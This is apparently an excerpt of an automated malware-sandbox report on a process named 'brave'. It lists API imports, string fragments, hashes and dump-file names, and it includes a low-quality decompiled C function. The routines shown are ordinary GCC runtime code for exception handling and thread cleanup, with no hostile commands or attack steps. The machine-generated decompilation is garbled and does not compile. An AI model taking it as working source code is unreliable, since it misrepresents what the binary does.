Part of subcall function 00007FF6FC4CE1F0: memcpy.MSVCRT ref: 00007FF6FC4CE292
Part of subcall function 00007FF6FC4CE1F0: free.MSVCRT ref: 00007FF6FC4CE29D

fwrite.MSVCRT ref: 00007FF6FC4E344C
fputs.MSVCRT ref: 00007FF6FC4E3466
fwrite.MSVCRT ref: 00007FF6FC4E3487
free.MSVCRT ref: 00007FF6FC4E3497
fputs.MSVCRT ref: 00007FF6FC4E34A9
abort.MSVCRT ref: 00007FF6FC4E34D5
fwrite.MSVCRT ref: 00007FF6FC4E34FA
abort.MSVCRT ref: 00007FF6FC4E34FF
fwrite.MSVCRT ref: 00007FF6FC4E353A
fputs.MSVCRT ref: 00007FF6FC4E354C
fputc.MSVCRT ref: 00007FF6FC4E3560

Strings

not enou, xrefs: 00007FF6FC4E3253
org/bugs, xrefs: 00007FF6FC4E32D5
terminate called after throwing an instance of ', xrefs: 00007FF6FC4E343C
https://, xrefs: 00007FF6FC4E333D
bmit ful, xrefs: 00007FF6FC4E3296
terminate called recursively, xrefs: 00007FF6FC4E34F0
mat expa, xrefs: 00007FF6FC4E3271
port at , xrefs: 00007FF6FC4E32B1
https://, xrefs: 00007FF6FC4E32A0
l bug re, xrefs: 00007FF6FC4E3249
org/bugs, xrefs: 00007FF6FC4E335B
gcc.gnu., xrefs: 00007FF6FC4E32C3
terminate called without an active exception, xrefs: 00007FF6FC4E34C6
what(): , xrefs: 00007FF6FC4E3533
gcc.gnu., xrefs: 00007FF6FC4E336A
nsion (P, xrefs: 00007FF6FC4E327B
l bug re, xrefs: 00007FF6FC4E3319
port at , xrefs: 00007FF6FC4E334C
bmit ful, xrefs: 00007FF6FC4E3329
gh space, xrefs: 00007FF6FC4E325D
lease su, xrefs: 00007FF6FC4E3285
for for, xrefs: 00007FF6FC4E3267
/): , xrefs: 00007FF6FC4E32E3

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: fwrite$fputs$abortfreememcpy$fputcstrlen
String ID: what(): $ for for$/): $bmit ful$bmit ful$gcc.gnu.$gcc.gnu.$gh space$https://$https://$l bug re$l bug re$lease su$mat expa$not enou$nsion (P$org/bugs$org/bugs$port at $port at $terminate called after throwing an instance of '$terminate called recursively$terminate called without an active exception
API String ID: 1586115568-1351603976
Opcode ID: fe6879b4978ab91ad2477e5e00425517d39e91c0031cd86db954f8b7f250dbe4
Instruction ID: 050d80d2239559ce8226382121c8673962d082c7ffeec4fb30e65e10efb18e20
Opcode Fuzzy Hash: fe6879b4978ab91ad2477e5e00425517d39e91c0031cd86db954f8b7f250dbe4
Instruction Fuzzy Hash: 9071B421B0874185FB20DBA2B8453AD66A5FF85B88F554139EDAD97BD6EF3CD200CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CF840 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 157synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6FC4CF848
CreateMutexA.KERNEL32 ref: 00007FF6FC4CF957
WaitForSingleObject.KERNEL32 ref: 00007FF6FC4CF968
FindAtomA.KERNEL32 ref: 00007FF6FC4CF97D
AddAtomA.KERNEL32 ref: 00007FF6FC4CF9BD
_onexit.MSVCRT ref: 00007FF6FC4CF9DA
ReleaseMutex.KERNEL32 ref: 00007FF6FC4CF9E2
CloseHandle.KERNEL32 ref: 00007FF6FC4CF9EB

Strings

__eh_shmem3_gcc_tdm_, xrefs: 00007FF6FC4CF897, 00007FF6FC4CF8C7
aaaaaaaa, xrefs: 00007FF6FC4CF8FE
failed to get string from atom, xrefs: 00007FF6FC4CFAD6
failed to to lock creation mutex, xrefs: 00007FF6FC4CFAB6
failed to add string to atom table, xrefs: 00007FF6FC4CFAA3
aaaaaaaa, xrefs: 00007FF6FC4CF8F4

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectProcessReleaseSingleWait_onexit
String ID: __eh_shmem3_gcc_tdm_$aaaaaaaa$aaaaaaaa$failed to add string to atom table$failed to get string from atom$failed to to lock creation mutex
API String ID: 2382646235-4003979217
Opcode ID: eeefa348b6469097a2ce0c1b6ef4fcb7977b54c7f9b7813c6b328c0e60a68bab
Instruction ID: b858e24accc35b49ce36687f76442f2a5e51a2f5842a373842b35553c2b54a48
Opcode Fuzzy Hash: eeefa348b6469097a2ce0c1b6ef4fcb7977b54c7f9b7813c6b328c0e60a68bab
Instruction Fuzzy Hash: 59616DB5E0DA4392FB40CB15F805AB527A0BF54B89F948035CA6EC66E1FE7CA749C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CFC40 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF6FC4CFD13
abort.MSVCRT(?,?,?,?,?,?,00000000,00000001,?,?,00000060,?,00007FF6FC4F21C5), ref: 00007FF6FC4CFD19
RtlUnwindEx.KERNEL32 ref: 00007FF6FC4CFE2C

Strings

CCG , xrefs: 00007FF6FC4CFCAD
CCG", xrefs: 00007FF6FC4CFCA1
CCG!, xrefs: 00007FF6FC4CFD01
CCG!, xrefs: 00007FF6FC4CFC69

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3707373406
Opcode ID: 5a5515d5399e8932a17ee12ba86523fad0d7272596fb782806b5c41e63c3ad30
Instruction ID: 894e9b1296cecd228b2a9d356115e685fe7e2314540fb8a17377bd4d4f44b590
Opcode Fuzzy Hash: 5a5515d5399e8932a17ee12ba86523fad0d7272596fb782806b5c41e63c3ad30
Instruction Fuzzy Hash: 7C517136608B8086E760CF55F8406AD73A4F789B98F644125EE8E43BA8DF3DD995C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D2220 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 51
threadCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF6FC4D2220(void* __edi, void* __esp, void* __rbx, void* __rdi, void* __rsi, void* __rbp, void* __r12, void* __r13, void* __r14, void* __r15) {
				char _v14;
				short _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				long long _v72;
				long long _v80;
				char _v81;
				long long _v88;
				long long _v96;
				long long _v104;
				long long _v112;
				char _v120;
				void* _t206;
				signed int _t214;
				intOrPtr _t220;
				void* _t281;
				intOrPtr _t340;
				intOrPtr _t341;
				intOrPtr _t342;
				intOrPtr _t343;
				intOrPtr _t344;
				intOrPtr _t347;
				intOrPtr _t348;
				intOrPtr _t350;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t354;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t358;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t366;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t372;
				intOrPtr _t375;
				intOrPtr _t377;
				intOrPtr _t378;
				intOrPtr _t380;
				intOrPtr _t383;
				intOrPtr _t384;
				intOrPtr _t386;
				intOrPtr _t389;
				intOrPtr _t391;
				intOrPtr _t392;
				intOrPtr _t394;
				intOrPtr _t395;
				intOrPtr _t401;
				intOrPtr _t402;
				intOrPtr* _t405;
				void* _t406;
				void* _t412;
				intOrPtr* _t413;
				signed long long _t415;
				void* _t436;
				signed long long _t482;
				void* _t492;
				long long _t494;
				intOrPtr* _t496;
				intOrPtr* _t497;
				void* _t498;
				void* _t499;
				void* _t517;
				void* _t518;
				void* _t526;
				void* _t536;

				_t499 = _t498 - 0x98;
				_v120 = 0x6f727245;
				_v112 = 0x696e6165;
				_v104 = 0x70732070;
				_v96 = 0x20737965;
				_v88 = 0x65726874;
				_v80 = 0x20737965;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0;
				_v48 = 0;
				_v40 = 0;
				_v32 = 0;
				_v24 = 0;
				_v16 = 0;
				_v14 = 0;
				GetCurrentThreadId();
				r8d = 0xa;
				__imp___ultoa();
				if (_v81 == 0) goto 0xfc4d2332;
				goto 0xfc4d230a;
				if (0x65726874 == 0x6b) goto 0xfc4d2327;
				if ( *((char*)( &_v120 + 0x65726874)) != 0) goto 0xfc4d2300;
				if (0 == 0x6a) goto 0xfc4d2327;
				 *((char*)(_t499 + 0x48)) = 0xa;
				 *((char*)(_t499 + 0x20646165726895)) = 0;
				OutputDebugStringA(??);
				abort();
				goto 0xfc4d231b;
				asm("o16 nop [cs:eax+eax]");
				_t405 =  &_v120;
				E00007FF67FF6FC4D0F00( &_v120);
				E00007FF67FF6FC4D04E0(0x2064616572687d);
				_t220 =  *_t405;
				if (_t220 != 0) goto 0xfc4d23a0;
				E00007FF67FF6FC4D2160();
				 *_t405 = 1;
				E00007FF67FF6FC4D0800(0x2064616572687d);
				_pop(_t406);
				_pop(_t492);
				_pop(_t517);
				_pop(_t526);
				goto E00007FF67FF6FC4D1110;
				if (_t220 == 1) goto 0xfc4d2382;
				 *0xfc772c70();
				r9d = _t220;
				0xfc4e16f8();
				goto 0xfc4d2382;
				asm("o16 nop [eax+eax]");
				_t496 =  *0xfc776920; // 0x7ff6fc781400
				_t340 =  *_t496;
				if (_t340 == 0) goto 0xfc4d2518;
				if ( *((long long*)(_t340 + 0x60)) != 0) goto 0xfc4d2540;
				 *((long long*)(_t340 + 0x60)) = 0xfc772bc8;
				E00007FF67FF6FC4D04E0(0xfc772bc8);
				if ( *((intOrPtr*)(0x20646165726a4d)) != 0) goto 0xfc4d25f0;
				if ( *0x206461657268C5 == 0) goto 0xfc4d2430;
				free(_t406);
				if ( *0x206461657268CD == 0) goto 0xfc4d243e;
				free(_t492);
				if ( *0x206461657268D5 == 0) goto 0xfc4d244c;
				free(__rdi);
				 *((long long*)(0x20646165726875)) = 0;
				 *((long long*)(0x20646165726a4d)) = 0;
				memset(__edi, 0, 2 << 0);
				_t341 =  *_t496;
				if (_t341 == 0) goto 0xfc4d2758;
				if ( *((long long*)(_t341 + 0x58)) != 0) goto 0xfc4d2550;
				 *((long long*)(_t341 + 0x58)) = 0xfc7813b0;
				if ( *0xfc7813b0 == 0) goto 0xfc4d255e;
				if ( *((long long*)(_t341 + 0x58)) != 0) goto 0xfc4d25c0;
				 *((long long*)(_t341 + 0x58)) = 0xfc7813b0;
				 *((long long*)( *0xfc7813b0 + 0x1d0)) = 0x20646165726875;
				if ( *((long long*)(_t341 + 0x58)) == 0) goto 0xfc4d25e0;
				 *((long long*)( *((intOrPtr*)(_t341 + 0x58)))) = 0x20646165726875;
				if (_t341 == 0) goto 0xfc4d25a3;
				_t214 = 0 |  *((long long*)(_t341 + 0x60)) != 0x00000000;
				if (_t214 == 0) goto 0xfc4d25c9;
				if (_t341 == 0) goto 0xfc4d2a30;
				_pop(_t494);
				_t497 = _t517;
				_t518 = _t526;
				_pop(_t536);
				goto E00007FF67FF6FC4D0800;
				E00007FF67FF6FC4D7060();
				_t342 =  *_t497;
				if ( *((long long*)(_t341 + 0x60)) == 0) goto 0xfc4d2402;
				if (_t342 != 0) goto 0xfc4d2540;
				E00007FF67FF6FC4D7060();
				asm("o16 nop [cs:eax+eax]");
				goto 0xfc4d240d;
				if ( *((long long*)( *((intOrPtr*)(_t342 + 0x58)))) != 0) goto 0xfc4d24a7;
				if ( *((long long*)(_t342 + 0x58)) != 0) goto 0xfc4d26d8;
				 *((long long*)(_t342 + 0x58)) = 0xfc7813b0;
				 *0xfc7813b0 = _t494;
				if ((_t214 & 0xffffff00 |  *((long long*)(_t342 + 0x50)) != 0x00000000) == 0) goto 0xfc4d280d;
				if (_t342 == 0) goto 0xfc4d2c8c;
				 *((long long*)( *((intOrPtr*)(_t342 + 0x50)))) =  *0xfc7813b0;
				if (_t342 != 0) goto 0xfc4d24e2;
				E00007FF67FF6FC4D7060();
				_t343 =  *_t497;
				goto 0xfc4d24ea;
				goto 0xfc4d24bd;
				 *((long long*)(_t343 + 0x60)) = 0xfc772bc8;
				goto 0xfc4d24ff;
				 *((long long*)(_t343 + 0x58)) = 0xfc7813b0;
				goto 0xfc4d24d6;
				_t344 =  *_t497;
				if (_t344 == 0) goto 0xfc4d2a40;
				if ( *((long long*)(_t344 + 0x70)) != 0) goto 0xfc4d26c8;
				 *((long long*)(_t344 + 0x70)) = 0xfc7813a0;
				if ( *0xfc7813a0 == 0) goto 0xfc4d2422;
				if ( *((long long*)( *_t497 + 0x70)) == 0) goto 0xfc4d2820;
				r12d = 0;
				goto 0xfc4d266a;
				asm("o16 nop [cs:eax+eax]");
				if (0xfc7813b0 == _t518) goto 0xfc4d2422;
				if (0x7ff6fc7813af - _t518 < 0) goto 0xfc4d2422;
				_t347 =  *_t497;
				if (_t347 == 0) goto 0xfc4d2708;
				if ( *((long long*)(_t347 + 0x68)) == 0) goto 0xfc4d26e8;
				_t348 =  *_t497;
				_t482 = _t518 + 0x7ff6fc7813af >> 1 << 4;
				if (_t536 ==  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t347 + 0x68)))) + _t482 + 8))) goto 0xfc4d2830;
				if (_t348 == 0) goto 0xfc4d2730;
				if ( *((long long*)(_t348 + 0x68)) == 0) goto 0xfc4d26f8;
				_t350 =  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x68))));
				if (_t536 -  *((intOrPtr*)(_t350 + _t482 + 8)) < 0) goto 0xfc4d2650;
				goto 0xfc4d265d;
				asm("o16 nop [eax+eax]");
				_t351 =  *((intOrPtr*)(_t350 + 0x70));
				goto 0xfc4d2616;
				goto 0xfc4d2574;
				 *((long long*)(_t351 + 0x68)) = 0xfc7813a8;
				goto 0xfc4d2689;
				 *((long long*)(_t351 + 0x68)) = 0xfc7813a8;
				goto 0xfc4d26b2;
				E00007FF67FF6FC4D7060();
				_t353 =  *_t497;
				if ( *0x7FF6FC781410 == 0) goto 0xfc4d26e8;
				if (_t353 != 0) goto 0xfc4d2681;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d2681;
				E00007FF67FF6FC4D7060();
				_t354 =  *_t497;
				if ( *((long long*)(_t353 + 0x68)) == 0) goto 0xfc4d26f8;
				if (_t354 != 0) goto 0xfc4d26ae;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d26ae;
				E00007FF67FF6FC4D7060();
				_t355 =  *_t497;
				if ( *((long long*)(_t354 + 0x58)) == 0) goto 0xfc4d2492;
				if (_t355 != 0) goto 0xfc4d2550;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)( *((intOrPtr*)(_t355 + 0x58)))) == 0) goto 0xfc4d2aac;
				_t357 =  *_t497;
				if (_t357 != 0) goto 0xfc4d24a7;
				E00007FF67FF6FC4D7060();
				_t358 =  *_t497;
				if ( *((long long*)(_t357 + 0x58)) == 0) goto 0xfc4d24b2;
				if (_t358 != 0) goto 0xfc4d25c0;
				E00007FF67FF6FC4D7060();
				_t359 =  *_t497;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t358 + 0x58)))) + 0x1d0)) = _t494;
				if (_t359 != 0) goto 0xfc4d24c7;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t359 + 0x58)) == 0) goto 0xfc4d25e0;
				if ( *_t497 != 0) goto 0xfc4d24d2;
				E00007FF67FF6FC4D7060();
				_t361 =  *_t497;
				goto 0xfc4d24d6;
				 *((long long*)(_t361 + 0x50)) = 0xfc7813b8;
				goto 0xfc4d2594;
				 *((long long*)(_t361 + 0x70)) = 0xfc7813a0;
				goto 0xfc4d2633;
				if (_t361 == 0) goto 0xfc4d2c9e;
				if ( *((long long*)(_t361 + 0x68)) != 0) goto 0xfc4d2908;
				 *((long long*)(_t361 + 0x68)) = 0xfc7813a8;
				_t412 =  *((intOrPtr*)(_t351 + 0x58)) + 1;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0xfc4d2b20;
				_t281 =  *0xfc7813a0 - _t412; // 0x1
				 *((long long*)(_t361 + 0x70)) = 0xfc7813a0;
				if (_t281 > 0) goto 0xfc4d2ba2;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0xfc4d2a10;
				 *((long long*)(_t361 + 0x70)) = 0xfc7813a0;
				 *0xfc7813a0 =  *0xfc7813a0 - 1;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0xfc4d2b10;
				 *((long long*)(_t361 + 0x70)) = 0xfc7813a0;
				if ( *0xfc7813a0 != 0) goto 0xfc4d2422;
				if ( *((long long*)(_t361 + 0x68)) == 0) goto 0xfc4d2c5b;
				free(??);
				_t363 =  *_t497;
				if (_t363 == 0) goto 0xfc4d2cb7;
				if ( *((long long*)(_t363 + 0x78)) == 0) goto 0xfc4d2c4b;
				_t413 =  *((intOrPtr*)(_t363 + 0x78));
				 *_t413 = 0;
				if ( *((long long*)(_t363 + 0x70)) == 0) goto 0xfc4d2c38;
				 *((long long*)( *((intOrPtr*)(_t363 + 0x70)))) =  *_t413;
				goto 0xfc4d2422;
				if ( *_t497 != 0) goto 0xfc4d284f;
				E00007FF67FF6FC4D7060();
				_t366 =  *_t497;
				if (_t366 != 0) goto 0xfc4d2853;
				E00007FF67FF6FC4D7060();
				_t367 =  *_t497;
				if ( *((long long*)(_t366 + 0x70)) == 0) goto 0xfc4d285e;
				if (_t367 != 0) goto 0xfc4d2b20;
				E00007FF67FF6FC4D7060();
				_t369 =  *_t497;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t367 + 0x70)))) - _t413 + 1 <= 0) goto 0xfc4d2b80;
				if (_t369 != 0) goto 0xfc4d2b2d;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t369 + 0x70)) == 0) goto 0xfc4d2b34;
				if ( *_t497 != 0) goto 0xfc4d2ba2;
				E00007FF67FF6FC4D7060();
				_t372 =  *_t497;
				if (_t372 != 0) goto 0xfc4d2b49;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t372 + 0x68)) == 0) goto 0xfc4d2c28;
				if ( *_t497 != 0) goto 0xfc4d2b54;
				E00007FF67FF6FC4D7060();
				_t375 =  *_t497;
				if (_t375 != 0) goto 0xfc4d2c6e;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t375 + 0x68)) == 0) goto 0xfc4d2c79;
				if ( *_t497 != 0) goto 0xfc4d2b65;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d2b65;
				_t377 =  *_t497;
				if (_t377 == 0) goto 0xfc4d2ba8;
				goto 0xfc4d288c;
				asm("o16 nop [cs:eax+eax]");
				E00007FF67FF6FC4D7060();
				goto 0xfc4d24fb;
				asm("o16 nop [eax+eax]");
				E00007FF67FF6FC4D7060();
				_t378 =  *_t497;
				if ( *((long long*)(_t377 + 0x70)) == 0) goto 0xfc4d2608;
				if (_t378 != 0) goto 0xfc4d26c8;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)( *((intOrPtr*)(_t378 + 0x70)))) == 0) goto 0xfc4d2422;
				_t380 =  *_t497;
				if (_t380 != 0) goto 0xfc4d2624;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t380 + 0x70)) == 0) goto 0xfc4d2820;
				if ( *_t497 != 0) goto 0xfc4d262f;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d2633;
				_t383 =  *_t497;
				if (_t383 != 0) goto 0xfc4d255e;
				E00007FF67FF6FC4D7060();
				_t384 =  *_t497;
				if ( *((long long*)(_t383 + 0x58)) == 0) goto 0xfc4d2569;
				if (_t384 != 0) goto 0xfc4d26d8;
				E00007FF67FF6FC4D7060();
				_t415 =  *((intOrPtr*)(_t384 + 0x58));
				 *_t415 = _t494;
				if ( *_t497 != 0) goto 0xfc4d2577;
				E00007FF67FF6FC4D7060();
				_t386 =  *_t497;
				goto 0xfc4d257f;
				goto 0xfc4d28a6;
				if (_t415 -  *((intOrPtr*)( *((intOrPtr*)(_t386 + 0x70)))) >= 0) goto 0xfc4d2876;
				if ( *((long long*)(_t386 + 0x70)) != 0) goto 0xfc4d2ba2;
				 *((long long*)(_t386 + 0x70)) = 0xfc7813a0;
				if ( *((long long*)(_t386 + 0x68)) == 0) goto 0xfc4d2c28;
				_t436 =  *((intOrPtr*)( *((intOrPtr*)(_t386 + 0x68)))) + (_t415 << 4) - 0x10;
				memcpy(??, ??, ??);
				_t389 =  *_t497;
				if (_t389 != 0) goto 0xfc4d2876;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t389 + 0x70)) != 0) goto 0xfc4d2a10;
				goto 0xfc4d2881;
				goto 0xfc4d2b3f;
				E00007FF67FF6FC4D7060();
				_t391 =  *_t497;
				 *((long long*)( *((intOrPtr*)( *_t497 + 0x70)))) =  *((long long*)( *((intOrPtr*)( *_t497 + 0x70)))) - 1;
				if (_t391 != 0) goto 0xfc4d2890;
				E00007FF67FF6FC4D7060();
				_t392 =  *_t497;
				if ( *((long long*)(_t391 + 0x70)) == 0) goto 0xfc4d289b;
				if (_t392 != 0) goto 0xfc4d2b10;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)( *((intOrPtr*)(_t392 + 0x70)))) != 0) goto 0xfc4d2422;
				_t394 =  *_t497;
				if (_t394 != 0) goto 0xfc4d28b0;
				E00007FF67FF6FC4D7060();
				_t395 =  *_t497;
				if ( *((long long*)(_t394 + 0x68)) == 0) goto 0xfc4d2c5b;
				if (_t395 != 0) goto 0xfc4d28bb;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d28bb;
				 *((long long*)(_t395 + 0x68)) = 0xfc7813a8;
				goto 0xfc4d2b58;
				 *((long long*)(_t395 + 0x70)) = 0xfc7813a0;
				goto 0xfc4d28f9;
				 *0x7FF6FC781418 = 0xfc781398;
				goto 0xfc4d28e3;
				 *0x7FF6FC781408 = 0xfc7813a8;
				goto 0xfc4d28bf;
				if ( *((long long*)(0x7ff6fc781410)) != 0) goto 0xfc4d2b65;
				 *((long long*)(0x7ff6fc781410)) = 0xfc7813a8;
				goto 0xfc4d2b69;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d2594;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)( *_t497 + 0x68)) != 0) goto 0xfc4d2908;
				goto 0xfc4d2844;
				E00007FF67FF6FC4D7060();
				_t401 =  *_t497;
				if ( *((long long*)( *_t497 + 0x78)) == 0) goto 0xfc4d2c4b;
				if (_t401 != 0) goto 0xfc4d28df;
				E00007FF67FF6FC4D7060();
				_t402 =  *_t497;
				 *((long long*)( *((intOrPtr*)(_t401 + 0x78)))) = 0;
				if (_t402 != 0) goto 0xfc4d28ea;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t402 + 0x70)) == 0) goto 0xfc4d2c38;
				if ( *_t497 != 0) goto 0xfc4d28f5;
				_t206 = E00007FF67FF6FC4D7060();
				goto 0xfc4d28f5;
				asm("o16 nop [eax+eax]");
				if (_t436 == 0) goto 0xfc4d2d2f;
				if ( *((long long*)(_t436 + 0x1d0)) == 0) goto 0xfc4d2d30;
				return _t206;
			}

0x7ff6fc4d2220
0x7ff6fc4d223b
0x7ff6fc4d224a
0x7ff6fc4d2259
0x7ff6fc4d2268
0x7ff6fc4d226f
0x7ff6fc4d2276
0x7ff6fc4d227b
0x7ff6fc4d2284
0x7ff6fc4d228d
0x7ff6fc4d2296
0x7ff6fc4d229f
0x7ff6fc4d22a8
0x7ff6fc4d22b1
0x7ff6fc4d22bd
0x7ff6fc4d22c5
0x7ff6fc4d22cd
0x7ff6fc4d22d8
0x7ff6fc4d22e0
0x7ff6fc4d22eb
0x7ff6fc4d22f7
0x7ff6fc4d2308
0x7ff6fc4d2311
0x7ff6fc4d2316
0x7ff6fc4d231d
0x7ff6fc4d2322
0x7ff6fc4d2327
0x7ff6fc4d232d
0x7ff6fc4d2341
0x7ff6fc4d2343
0x7ff6fc4d235a
0x7ff6fc4d235d
0x7ff6fc4d236c
0x7ff6fc4d2371
0x7ff6fc4d2375
0x7ff6fc4d2377
0x7ff6fc4d237c
0x7ff6fc4d2385
0x7ff6fc4d2391
0x7ff6fc4d2392
0x7ff6fc4d2393
0x7ff6fc4d2395
0x7ff6fc4d2397
0x7ff6fc4d23a3
0x7ff6fc4d23aa
0x7ff6fc4d23b0
0x7ff6fc4d23c0
0x7ff6fc4d23c5
0x7ff6fc4d23c7
0x7ff6fc4d23e0
0x7ff6fc4d23e7
0x7ff6fc4d23f1
0x7ff6fc4d23fc
0x7ff6fc4d2409
0x7ff6fc4d240d
0x7ff6fc4d241c
0x7ff6fc4d2429
0x7ff6fc4d242b
0x7ff6fc4d2437
0x7ff6fc4d2439
0x7ff6fc4d2445
0x7ff6fc4d2447
0x7ff6fc4d2455
0x7ff6fc4d245c
0x7ff6fc4d2477
0x7ff6fc4d247a
0x7ff6fc4d2481
0x7ff6fc4d248c
0x7ff6fc4d2499
0x7ff6fc4d24a1
0x7ff6fc4d24ac
0x7ff6fc4d24b9
0x7ff6fc4d24c0
0x7ff6fc4d24cc
0x7ff6fc4d24d6
0x7ff6fc4d24dc
0x7ff6fc4d24e7
0x7ff6fc4d24ec
0x7ff6fc4d24f5
0x7ff6fc4d2504
0x7ff6fc4d2506
0x7ff6fc4d2507
0x7ff6fc4d250b
0x7ff6fc4d250f
0x7ff6fc4d2518
0x7ff6fc4d2522
0x7ff6fc4d2526
0x7ff6fc4d252f
0x7ff6fc4d2531
0x7ff6fc4d2536
0x7ff6fc4d2544
0x7ff6fc4d2558
0x7ff6fc4d2563
0x7ff6fc4d2570
0x7ff6fc4d2574
0x7ff6fc4d2581
0x7ff6fc4d258a
0x7ff6fc4d2597
0x7ff6fc4d259d
0x7ff6fc4d25a3
0x7ff6fc4d25ad
0x7ff6fc4d25b4
0x7ff6fc4d25c4
0x7ff6fc4d25d0
0x7ff6fc4d25d4
0x7ff6fc4d25e7
0x7ff6fc4d25eb
0x7ff6fc4d25f0
